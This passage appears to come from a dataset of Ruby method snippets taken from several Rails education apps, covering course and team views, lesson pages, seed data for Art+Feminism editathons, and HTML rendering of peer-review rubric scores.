\"UNCHECKED\"}\n NAMED_WIDGET osk_c_demo_app_c CHECKBUTTON 'osk_c_demo_app.c' #{((lesson_src_file[\"osk_c_demo_app.c\"])[\"completed\"] == true)? \"CHECKED\" : \"UNCHECKED\"}\n LABEL ' '\n \n NAMED_WIDGET msglog_h CHECKBUTTON 'msglog.h' #{((lesson_src_file[\"msglog.h\"])[\"completed\"] == true)? \"CHECKED\" : \"UNCHECKED\"}\n NAMED_WIDGET msglog_c CHECKBUTTON 'msglog.c' #{((lesson_src_file[\"msglog.c\"])[\"completed\"] == true)? \"CHECKED\" : \"UNCHECKED\"}\n LABEL ' '\n\n NAMED_WIDGET msglogtbl_h CHECKBUTTON 'msglogtbl.h' #{((lesson_src_file[\"msglogtbl.h\"])[\"completed\"] == true)? \"CHECKED\" : \"UNCHECKED\"}\n NAMED_WIDGET msglogtbl_c CHECKBUTTON 'msglogtbl.c' #{((lesson_src_file[\"msglogtbl.c\"])[\"completed\"] == true)? \"CHECKED\" : \"UNCHECKED\"}\n LABEL ' '\n\n BUTTON 'Save Status' 'osk_c_lesson_cmd(self,\\\"LESSON_SAVE_STATUS\\\")'\n BUTTON 'Lesson Complete' 'osk_c_lesson_cmd(self,\\\"LESSON_COMPLETE\\\")'\n LABEL ' '\n \"\n \n f.write (scr_text)\n \n f.write (scr_trailer)\n\n end # File\n \n rescue Exception => e\n puts e.message\n puts e.backtrace.inspect \n end\n\nend", "def help_student_out\n\n if @problem.has_scaffolds?\n\n # the problem has scaffolds, so push the user into the first scaffolding problem\n reset_hints\n @sequence = Sequence.find params[:sequence_id] unless params[:sequence_id].nil?\n @parent = @problem\n @problem = @parent.scaffold.problems.first\n changed_and_notify_observers(:end_problem => @parent)\n changed_and_notify_observers(:begin_problem => @problem)\n render_tutor :file => \"scaffolding\"\n\n else\n\n # there are no scaffolds, so show a incorrect message\n msg = @problem.incorrect_message # set in ProblemType#correct?\n @incorrect_message = (msg.blank?) ? next_default_message : msg\n render_tutor :file => \"incorrect_message\"\n\n end\n end", "def twiki_index\n @show_teams_for_many_courses = false\n @machine_name = \"http://rails.sv.cmu.edu\"\n\n url = get_twiki_http_referer()\n @course = Course.find(:first, :conditions => [\"twiki_url = ?\", url])\n\n @show_create_course = false\n if (@course.nil?)\n @show_create_course = true\n render :partial => \"twiki_index\", :layout => false, :locals => {:teams => @teams, :show_new_teams_link => true, :show_photo_view_link => true, :show_student_photos => false, :show_course => false}\n return\n end\n @teams = Team.find(:all, :order => \"id\", :conditions => [\"course_id = ?\", @course.id]) unless @course.nil?\n\n @show_section = false\n @teams.each do |team|\n @show_section = true unless (team.section.nil? || team.section.empty?)\n end\n\n render :partial => \"twiki_index\", :layout => false, :locals => {:teams => @teams, :show_new_teams_link => true, :show_photo_view_link => true, :show_student_photos => false, :show_course => false}\n end", "def print_employer_instructions\n\n # Start new page.\n self.start_new_page()\n\n # Employer copy.\n employer = File.read(Rails.root.join('lib', 'assets', 'w2_employer.htm'))\n self.vms_text_box(employer, 0.25, 10.75, 3.75, 5, 8, :normal, :left, :center)\n self.vms_text_box(employer, 4.5, 10.75, 3.75, 5, 8, :normal, :left, :center)\n self.vms_text_box(employer, 0.25, 5.25, 3.75, 5, 8, :normal, :left, :center)\n self.vms_text_box(employer, 4.5, 5.25, 3.75, 5, 8, :normal, :left, :center)\n\n end", "def least_teacher\n unless is_teacher\n flash[:danger] = \"You do not have access to that page.\"\n redirect_to root_path\n end\n end", "def home_lessons\n para \"You have no lessons.\", :margin_left => 12, :font => \"Lacuna Regular\"\n end", "def high_school\n\tend", "def template_guide\n @title = \"Template Guide\"\n end", "def speaker_tunings\n @page_title = \"Speaker Tunings\"\n render_template\n end", "def populate_dashboard\n puts \"setting up example courses...\"\n artfeminism_2018 = Campaign.find_by_slug('artfeminsism_2018') || Campaign.create(slug: 'artfeminism_2018',\n title: 'Art+Feminism 2018',\n default_course_type: 'Editathon',\n default_passcode: 'no-passcode',\n register_accounts: true)\n it_wiki = Wiki.get_or_create(language: 'it', project: 'wikipedia')\n florence_editathon = Course.find_by_slug('Uffizi/WDG_-_AF_2018_Florence') || Course.create(type: 'Editathon',\n slug: 'Uffizi/WDG_-_AF_2018_Florence',\n title: 'WDG - AF 2018 Florence',\n school: 'Uffizi',\n term: '',\n passcode: '',\n start: '2018-02-21'.to_date,\n end: '2018-03-14'.to_date,\n home_wiki: it_wiki,\n needs_update: true)\n florence_editathon.campaigns << artfeminism_2018 if florence_editathon.campaigns.none?\n\n florence_facilitator = UserImporter.new_from_username('Solelu', it_wiki)\n CoursesUsers.find_or_create_by(user: florence_facilitator, course: florence_editathon, role: 1)\n\n florence_editors = %w[\n Krys.ro\n Apmsilva\n Krislane_de_Andrade\n Nikeknacksandsnacks\n Racheleb76\n Kaspo\n Nea.Lapini\n Chiara.toti\n MissDaae\n Ciucia60\n Lizwicks\n Katy1q77\n Matt.the.iconoclast\n Alejandeath\n Sherilovemusic\n ]\n\n florence_editors.each do |username|\n user = UserImporter.new_from_username(username, it_wiki)\n CoursesUsers.find_or_create_by(user: user, course: florence_editathon, role: 0)\n end\n\n en_wiki = Wiki.get_or_create(language: 'en', project: 'wikipedia')\n\n selfie = Article.find_or_create_by(title: 'Selfie', mw_page_id: 1, wiki: en_wiki)\n Assignment.find_or_create_by(course: florence_editathon, article: selfie, article_title: 'Selfie', role: 0)\n\n brisbane_editathon = Course.find_by_slug('QCA/Brisbane_QCA_ArtandFeminism_2018') || Course.create!(type: 'Editathon',\n slug: 'QCA/Brisbane_QCA_ArtandFeminism_2018',\n title: 'Brisbane QCA ArtandFeminism 2018',\n school: 'QCA',\n term: '',\n passcode: '',\n start: '2018-01-21'.to_date,\n end: '2018-03-14'.to_date,\n home_wiki: en_wiki,\n needs_update: true)\n\n brisbane_editathon.campaigns << artfeminism_2018 if brisbane_editathon.campaigns.none?\n\n brisbane_facilitator = UserImporter.new_from_username('LouiseRMayhew', en_wiki)\n CoursesUsers.find_or_create_by(user: brisbane_facilitator, course: brisbane_editathon, role: 1)\n\n brisbane_editors = %w[\n LouiseRMayhew\n Susan777\n Yizazy\n Kay_S_Lawrence\n Agoddard2\n Ejsnails\n KirstyKrasidakis\n Taana_R\n Charlottetheturtle\n Jessmariexox\n FriDaInformation\n ]\n\n brisbane_editors.each do |username|\n user = UserImporter.new_from_username(username, en_wiki)\n CoursesUsers.find_or_create_by(user: user, course: brisbane_editathon, role: 0)\n end\n\n ragesoss_example_course = Course.find_by_slug('test/Ragesoss_(test)') || Course.create!(type: 'ClassroomProgramCourse',\n slug: 'test/Ragesoss_(test)',\n title: 'Ragesoss',\n school: 'test',\n term: 'test',\n passcode: 'abcdefgh',\n start: '2017-07-04'.to_date,\n end: '2020-12-31'.to_date,\n home_wiki: en_wiki)\n ragesoss_example_course.campaigns << Campaign.first if ragesoss_example_course.campaigns.none?\n\n ragesoss = UserImporter.new_from_username('Ragesoss', en_wiki)\n CoursesUsers.find_or_create_by(user: ragesoss, course: ragesoss_example_course, role: 0)\n\n [florence_editathon, brisbane_editathon, ragesoss_example_course].each do |course|\n puts \"getting data for #{course.slug}...\"\n UpdateCourseStats.new(course)\n end\nend", "def session_heading(session)\n puts \"\\nAdding session heading for session #{session.id}...\" \n if session.location.include?(\"JHN\")\n keep_together(session.title, 14, 32, 100)\n else\n keep_together(session.title, 14, 32, 84)\n end\n add_to_index(:people, session.moderator.person.lastname_first.strip) if session.moderator\n in_column_line\n @size = 14\n move_to_newline(18)\n parse_and_add_text \"<b>Session #{session.identifier}</b>\", \"||\", :center\n @size = DEFAULT_SIZE\n move_to_newline\n in_column_line\n move_to_newline(24)\n @size = 14\n parse_and_add_text \"<b>#{session.title}</b>\", \"||\", :center, 18\n @size = DEFAULT_SIZE\n move_to_newline(5)\n move_to_newline\n parse_and_add_text \"<i>Session Moderator: #{[session.moderator.fullname, session.moderator.department_name].compact.join(\", \")}</i>\", \"||\", :center if session.moderator\n move_to_newline\n parse_and_add_text \"<b>#{session.location}</b>\", \"||\", :center\n @pdf.select_font DEFAULT_FONT\n move_to_newline\n @size = 9\n move_to_newline\n \n if session.location.include?(\"JHN\")\n parse_and_add_text \"<i>Johnson Hall is just west of Mary Gates Hall (MGH). Follow signs leading from the west entrance of MGH; please see map in the back of the program</i>\"\n move_to_newline\n move_to_newline\n end\n \n if session.location.include?(\"Meany Studio Theatre\")\n parse_and_add_text \"<i>Meany Studio Theatre is a five-minute walk northwest from the main entrance of MGH and across Red Square. Follow signs from the north entrance of MGH; please see map in the back of the program.</i>\"\n move_to_newline\n move_to_newline\n end \n \n parse_and_add_text \"* Note: Titles in order of presentation.\"\n @size = DEFAULT_SIZE\n move_to_newline\n move_to_newline\n \n end", "def show\n @explanation = Explanation.new\n @explanations = @lesson.explanations.select(:id, :title, :position_prior, :privacy, :video_token).order('id ASC')\n @prior_expl = @lesson.explanations.find_by(position_prior: '1')\n\n @prompt = Prompt.new\n @prompts = @lesson.prompts.select(:id, :title, :position_prior, :privacy, :video_token).order('id ASC')\n @prior_prompt = @lesson.prompts.find_by(position_prior: '1')\n\n @model = Model.new\n @models = @lesson.models.select(:id, :title, :position_prior, :privacy, :video_token).order('id ASC')\n @prior_model = @lesson.models.find_by(position_prior: '1')\n\n @topic_lessons = {}\n \n @lesson.topic.lessons.order(\"id ASC\").each do |lesson|\n if topic_lesson_status(lesson)\n\n @topic_lessons[lesson.id] = lesson.completion_status(current_user)\n \n elsif lesson.instructor == current_user\n @topic_lessons[lesson.id] = [\"new\", \"Incomplete lesson\"]\n end\n end\n\n\n \n\n if (@lesson.lesson_type.to_i == 0 || @lesson.lesson_type == nil) && @prior_expl && @prior_prompt && @prior_model\n @lesson_ready = true, @all_prt = true \n elsif @lesson.lesson_type.to_i == 1 && @prior_expl && @prior_model \n @lesson_ready = true, @mdl_prt = true \n elsif @lesson.lesson_type.to_i == 2 && @prior_expl && @prior_prompt\n @lesson_ready = true, @prmt_prt = true \n end\n\n @concept = Concept.new\n @rehearsal = Rehearsal.new\n\n @lessons_arr = []\n @lessons = @topic.lessons\n @lessons.each { |lesson| @lessons_arr << lesson.id }\n\n end", "def show\n @explanation = Explanation.new\n @explanations = @lesson.explanations.select(:id, :title, :position_prior, :privacy, :video_token).order('id ASC')\n @prior_expl = @lesson.explanations.find_by(position_prior: '1')\n\n @prompt = Prompt.new\n @prompts = @lesson.prompts.select(:id, :title, :position_prior, :privacy, :video_token).order('id ASC')\n @prior_prompt = @lesson.prompts.find_by(position_prior: '1')\n\n @model = Model.new\n @models = @lesson.models.select(:id, :title, :position_prior, :privacy, :video_token).order('id ASC')\n @prior_model = @lesson.models.find_by(position_prior: '1')\n\n @topic_lessons = {}\n \n @lesson.topic.lessons_order.each do |l|\n lesson = Lesson.find_by_refnum(l)\n \n if topic_lesson_status(lesson)\n @topic_lessons[lesson.id] = lesson.completion_status(current_user)\n elsif lesson.instructor == current_user\n @topic_lessons[lesson.id] = [\"new\", \"Incomplete lesson\"]\n end\n \n end\n\n\n \n\n if (@lesson.lesson_type.to_i == 0 || @lesson.lesson_type == nil) && @prior_expl && @prior_prompt && @prior_model\n @lesson_ready = true, @all_prt = true \n elsif @lesson.lesson_type.to_i == 1 && @prior_expl && @prior_model \n @lesson_ready = true, @mdl_prt = true \n elsif @lesson.lesson_type.to_i == 2 && @prior_expl && @prior_prompt\n @lesson_ready = true, @prmt_prt = true \n end\n\n @concept = Concept.new\n @rehearsal = Rehearsal.new\n\n @lessons_arr = []\n @lessons = @topic.lessons\n @lessons.each { |lesson| @lessons_arr << lesson.id }\n\n end", "def display_intro\n # Display Company Logo\n display_logo\n # Display Emergency Information\n display_emergency_info\n end", "def all_talent_forms_page\n \t@male = Male.new\n \t@female = Female.new\n \t@photo = Photo.new\n \t@hair = Hair.new\n \t@mua = Mua.new\n \t@stylist = Stylist.new\n \t@client = Client.new\n end", "def introduction\r\n\r\n end", "def secondary_school; end", "def index\n @helps = Help.all\n @projects = Array.new()\n @tasks = Array.new()\n @agendueplus = Array.new()\n @other = Array.new()\n @helps.sort! { |a,b| a.title.downcase <=> b.title.downcase }\n @helps.each do |help|\n if help.category.downcase == 'projects'\n @projects << help\n elsif help.category.downcase == 'tasks'\n @tasks << help\n elsif help.category.downcase == 'agendueplus'\n @agendueplus << help\n else\n @other << help\n end\n end\n @iseditor = useriseditor\n\n\n end", "def section; end", "def another_teacher_to_section \n User.create_new_section(params[:new_teacher_to_add], params[:section], session[:selected_project_id])\n user = User.find(params[:new_teacher_to_add])\n\n redirect_to users_teachers_path, notice: \"#{user.first_name} #{user.last_name} was added to section #{params[:section]}.\"\n end", "def cfs_kit_launch_tutorial_screen\r\n\r\n tutorial_scr_file = \"#{Osk::SCR_DIR}/#{Osk::TUTORIAL_SCR_FILE}\"\r\n\r\n scr_tutorial_dir = File.open(tutorial_scr_file) {|f| f.readline}\r\n\r\n if scr_tutorial_dir.index(Osk::SCR_DIR).nil? \r\n cfs_kit_create_tutorial_screen\r\n end\r\n \r\n display(\"CFS_KIT #{File.basename(Osk::TUTORIAL_SCR_FILE,'.txt')}\",500,50)\r\n \r\nend", "def index\n @show_teams_for_many_courses = false\n @machine_name = \"\"\n @teams = Team.find(:all, :order => \"id\", :conditions => [\"course_id = ?\", params[:course_id]]) unless params[:course_id].empty?\n @faculty = User.find(:all, :order => \"twiki_name\", :conditions => [\"is_teacher = true\"])\n @course = Course.find(params[:course_id])\n\n @show_section = false\n @teams.each do |team|\n @show_section = true unless (team.section.nil? || team.section.empty?)\n end\n\n respond_to do |format|\n format.html { render :partial => \"twiki_index\", :layout => \"teams\", :locals => {:teams => @teams, :show_new_teams_link => true, :show_photo_view_link => true, :show_student_photos => false, :show_course => false} } # index.html.erb\n format.xml { render :xml => @teams }\n end\n end", "def editing_help(editing_help_type)\n case editing_help_type\n when 'Partial'\n help = '<h4>Useful tags</h4>'\n help << '<p><code><%= navigation %></code><br />'\n help << '<code><%= page.page_title %><c/ode><br />' \n help << '<code><%= stylesheet_link_tag \"stylename\" %></code><br />' \n help << '<code><%= javascript_include_tag \"scriptname\" %></code><br />' \n help << '<code><%= region :example %></code></p>' \n # help << '<h4>Tags for this Custom Type</h4>'\n when 'Layout' \n help = '<h4>Useful tags</h4>'\n help << '<p><code><%= navigation %></code><br />'\n help << '<code><%= page.page_title %><c/ode><br />' \n help << '<code><%= stylesheet_link_tag \"stylename\" %></code><br />' \n help << '<code><%= javascript_include_tag \"scriptname\" %></code><br />' \n help << '<code><%= region :example %></code></p>' \n end\n end", "def show\n #avoid users to see other students courses\n if user_signed_in?\n redirect_to courses_path if [email protected]?(current_entity)\n elsif teacher_signed_in?\n redirect_to courses_path if @course.teacher != current_entity\n end\n # redirect_to root_path if current_user.teacher? && [email protected]?(current_user)\n # @lessons = Lesson.where(course_id: (params[:id])).order('date DESC')\n end", "def primary_school; end", "def index\n @teachers = Teacher.all\n @cohorts = Cohort.all\n @page_title = \"Teachers Page\"\n end", "def custom_display_as_html(code, file_url)\n begin\n review_scores = self.scores\n\n #********************Learning Targets******************\n code = code + \"<h2>Learning Targets</h2><hr>\"\n if review_scores[0].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They state what the reader should know or be able to do after reading the lesson<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They state what the reader should know or be able to do after reading the lesson<br/>\" \n end\n\n if review_scores[1].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They are specific<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They are specific<br/>\"\n end\n\n if review_scores[2].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They are appropriate and reasonable i.e. not too easy or too difficult for TLED 301 students<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They are appropriate and reasonable i.e. not too easy or too difficult for TLED 301 students<br/>\"\n end\n\n if review_scores[3].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They are observable i.e. you wouldn't have to look inside the readers' head to know if they met this target<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They are observable i.e. you wouldn't have to look inside the readers' head to know if they met this target<br/>\"\n end\n\n code = code + \"<br/><i>Number of Learning Targets: </i>#{review_scores[4].comments.gsub(/\\\"/,'&quot;').to_s}<br/>\"\n code = code + \"<br/><i>Grade: </i>#{review_scores[5].comments.gsub(/\\\"/,'&quot;').to_s}<br/>\"\n code = code + \"<br/><i>Comment: </i> <dl><dd>#{review_scores[6].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd>\"\n\n #*******************Content************************\n code = code + \"<h2>Content</h2><hr>\"\n code = code + \"<i>File:</i>\"\n if file_url.nil?\n code = code + \"File has not been uploaded<br/>\"\n else\n code = code + file_url.to_s + \"<br/>\"\n end\n \n code = code + \"<i>Compliment:</i>\"\n code = code + \"<ul><li>#{review_scores[8].comments.gsub(/\\\"/,'&quot;').to_s}</li><li>#{review_scores[9].comments.gsub(/\\\"/,'&quot;').to_s}</li></ul>\"\n code = code + \"<i>Suggestion:</i>\"\n code = code + \"<ul><li>#{review_scores[10].comments.gsub(/\\\"/,'&quot;').to_s}</li><li>#{review_scores[11].comments.gsub(/\\\"/,'&quot;').to_s}</li></ul>\"\n\n #*******************Sources and Use of Source Material************************\n code = code + \"<h2>Sources and Use of Source Material</h2><hr>\"\n code = code + \"<br/>How many sources are in the references list?: #{review_scores[12].comments.gsub(/\\\"/,'&quot;').to_s}<br/>\"\n code = code + \"<br/>List the range of publication years for all sources, e.g. 1998-2006: <b>#{review_scores[13].comments.gsub(/\\\"/,'&quot;').to_s} - #{review_scores[14].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/><br/>\"\n\n if review_scores[15].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> It lists all the sources in a section labeled \\\"References\\\"<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> It lists all the sources in a section labeled \\\"References\\\"<br/>\"\n end\n\n if review_scores[16].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The author cites each of these sources in the lesson<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The author cites each of these sources in the lesson<br/>\"\n end\n\n if review_scores[17].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The citations are in APA format<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The citations are in APA format<br/>\"\n end\n\n if review_scores[18].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The author cites at least 2 scholarly sources<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The author cites at least 2 scholarly sources<br/>\"\n end\n\n if review_scores[19].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> Most of the sources are current (less than 5 years old)<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> Most of the sources are current (less than 5 years old)<br/>\"\n end\n\n if review_scores[20].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> Taken together the sources represent a good balance of potential references for this topic<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> Taken together the sources represent a good balance of potential references for this topic<br/>\"\n end\n\n if review_scores[21].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The sources represent different viewpoints<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The sources represent different viewpoints<br/>\"\n end\n\n code = code + \"<br/><b>What other sources or perspectives might the author want to consider?</b><br/>\"\n code = code + \"<dl><dd>#{review_scores[22].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd>\"\n \n if review_scores[23].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> All materials (such as tables, graphs, images or videos created by other people or organizations) posted are in the lesson in accordance with the Attribution-Noncommercial-Share Alike 3.0 Unported license, or compatible. <br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> All materials (such as tables, graphs, images or videos created by other people or organizations) posted are in the lesson in accordance with the Attribution-Noncommercial-Share Alike 3.0 Unported license, or compatible<br/>\"\n end\n\n code = code + \"<br/><b>If not, which one(s) may infringe copyrights, or what areas of text may need citations, revisions or elaboration?</b><br/>\"\n code = code + \"<dl><dd>#{review_scores[24].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd>\"\n\n code = code + \"<br/>Please make a comment about the sources. Explain how the author can improve the use of sources in the lesson.<br/>\"\n code = code + \"<dl><dd>#{review_scores[25].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd>\"\n\n #*******************Multiple Choice Questions************************\n code = code + \"<h2>Multiple Choice Questions</h2><hr>\"\n if review_scores[26].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> There are 4 multiple-choice questions<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> There are 4 multiple-choice questions<br/>\"\n end\n\n if review_scores[27].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They each have four answer choices (A-D)<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They each have four answer choices (A-D)<br/>\"\n end\n\n if review_scores[28].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> There is a single correct (aka: not opinion-based) answer for each question<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> There is a single correct (aka: not opinion-based) answer for each question<br/>\"\n end\n\n if review_scores[29].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The questions assess the learning target(s)<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The questions assess the learning target(s)<br/>\"\n end\n\n if review_scores[30].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The questions are appropriate and reasonable (not too easy and not too difficult)<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The questions are appropriate and reasonable (not too easy and not too difficult)<br/>\"\n end\n\n if review_scores[31].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The foils (the response options that are NOT the answer) are reasonable i.e. they are not very obviously incorrect answers<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The foils (the response options that are NOT the answer) are reasonable i.e. they are not very obviously incorrect answers<br/>\"\n end\n\n if review_scores[32].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The response options are listed in alphabetical order<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The response options are listed in alphabetical order<br/>\"\n end\n\n if review_scores[33].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The correct answers are provided and listed BELOW all the questions<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The correct answers are provided and listed BELOW all the questions<br/>\"\n end\n\n code = code + \"<br/><h3>Questions</h3>\"\n\n code = code + \"<i>Type: </i><b>#{review_scores[34].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[35].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[36].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<i>Type: </i><b>#{review_scores[37].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[38].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[39].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<i>Type: </i><b>#{review_scores[40].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[41].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[42].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<i>Type: </i><b>#{review_scores[43].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[44].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[45].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n\n #*******************Rubric************************\n code = code + \"<h2>Rubric</h2><hr>\"\n\n code = code + \"<h3>Importance</h3>\"\n code = code +\n \"<div align=\\\"center\\\">The information selected by the author:</div><table class='general'>\n <tr>\n <th>5 - Very Important </th>\n <th>4 - Quite Important </th>\n <th>3 - Some Importance </th>\n <th>2 - Little Importance</th>\n <th>1 - No Importance </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[46].comments == \"1\"\n code = code + \"<li>Is very important for future teachers to know</li>\"\n end\n if review_scores[47].comments == \"1\"\n code = code + \"<li>Is based on researched information</li>\"\n end\n if review_scores[48].comments == \"1\"\n code = code + \"<li>Is highly relevant to current educational practice</li>\"\n end\n if review_scores[49].comments == \"1\"\n code = code + \"<li>Provides an excellent overview and in-depth discussion of key issues</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[50].comments == \"1\"\n code = code + \"<li>Is relevant to future teachers</li>\"\n end\n if review_scores[51].comments == \"1\"\n code = code + \"<li>Is mostly based on researched information</li>\"\n end\n if review_scores[52].comments == \"1\"\n code = code + \"<li>Is applicable to today's schools</li>\"\n end\n if review_scores[53].comments == \"1\"\n code = code + \"<li>Provides a good overview and explores a few key ideas</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[54].comments == \"1\"\n code = code + \"<li>Has useful points but some irrelevant information</li>\"\n end\n if review_scores[55].comments == \"1\"\n code = code + \"<li>Is half research; half the author's opinion</li>\"\n end\n if review_scores[56].comments == \"1\"\n code = code + \"<li>Is partially out-dated or may not reflect current practice</li>\"\n end\n if review_scores[57].comments == \"1\"\n code = code + \"<li>Contains good information but yields an incomplete understanding</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[58].comments == \"1\"\n code = code + \"<li>Has one useful point</li>\"\n end\n if review_scores[59].comments == \"1\"\n code = code + \"<li>Is mostly the author's opinion.</li>\"\n end\n if review_scores[60].comments == \"1\"\n code = code + \"<li>Is mostly irrelevant in today's schools</li>\"\n end\n if review_scores[61].comments == \"1\"\n code = code + \"<li>Focused on unimportant subtopics OR is overly general</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\" \n if review_scores[62].comments == \"1\"\n code = code + \"<li>Is not relevant to future teachers</li>\"\n end\n if review_scores[63].comments == \"1\"\n code = code + \"<li>Is entirely the author's opinion</li>\"\n end\n if review_scores[64].comments == \"1\"\n code = code + \"<li>Is obsolete</li>\"\n end\n if review_scores[65].comments == \"1\"\n code = code + \"<li>Lacks any substantive information</li>\"\n end\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n\n code = code + \"<h3>Interest</h3>\"\n code = code +\n \"<div align=\\\"center\\\">To attract and maintain attention, the lesson has:</div><table class='general'>\n <tr>\n <th>5 - Extremely Interesting </th>\n <th>4 - Quite Interesting </th>\n <th>3 - Reasonably Interesting </th>\n <th>2 - Little Interest</th>\n <th>1 - No Interest </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[66].comments == \"1\"\n code = code + \"<li>A sidebar with new information that was motivating to read/view</li>\"\n end\n if review_scores[67].comments == \"1\"\n code = code + \"<li>Many creative, attractive visuals and engaging, interactive elements</li>\"\n end\n if review_scores[68].comments == \"1\"\n code = code + \"<li>Multiple perspectives</li>\"\n end\n if review_scores[69].comments == \"1\"\n code = code + \"<li>Insightful interpretation & analysis throughout</li>\"\n end\n if review_scores[70].comments == \"1\"\n code = code + \"<li>Many compelling examples that support the main points (it \\\"shows\\\" not just \\\"tells\\\")</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[71].comments == \"1\"\n code = code + \"<li>A sidebar that adds something new to the lesson</li>\"\n end\n if review_scores[72].comments == \"1\"\n code = code + \"<li>A few effective visuals or interactive elements</li>\"\n end\n if review_scores[73].comments == \"1\"\n code = code + \"<li>At least one interesting, fresh perspective</li>\"\n end\n if review_scores[74].comments == \"1\"\n code = code + \"<li>Frequent interpretation and analysis</li>\"\n end\n if review_scores[75].comments == \"1\"\n code = code + \"<li>Clearly explained and well supported points</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[76].comments == \"1\"\n code = code + \"<li>A sidebar that repeats what is in the lesson</li>\"\n end\n if review_scores[77].comments == \"1\"\n code = code + \"<li>An effective visual or interactive element</li>\"\n end\n if review_scores[78].comments == \"1\"\n code = code + \"<li>One reasonable (possibly typical) perspective</li>\"\n end\n if review_scores[79].comments == \"1\"\n code = code + \"<li>Some interpretation and analysis</li>\"\n end\n if review_scores[80].comments == \"1\"\n code = code + \"<li>Supported points</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[81].comments == \"1\"\n code = code + \"<li>A quote, link, etc. included as a sidebar, but that is not in a textbox</li>\"\n end\n if review_scores[82].comments == \"1\"\n code = code + \"<li>Visuals or interactive elements that are distracting</li>\"\n end\n if review_scores[83].comments == \"1\"\n code = code + \"<li>Only a biased 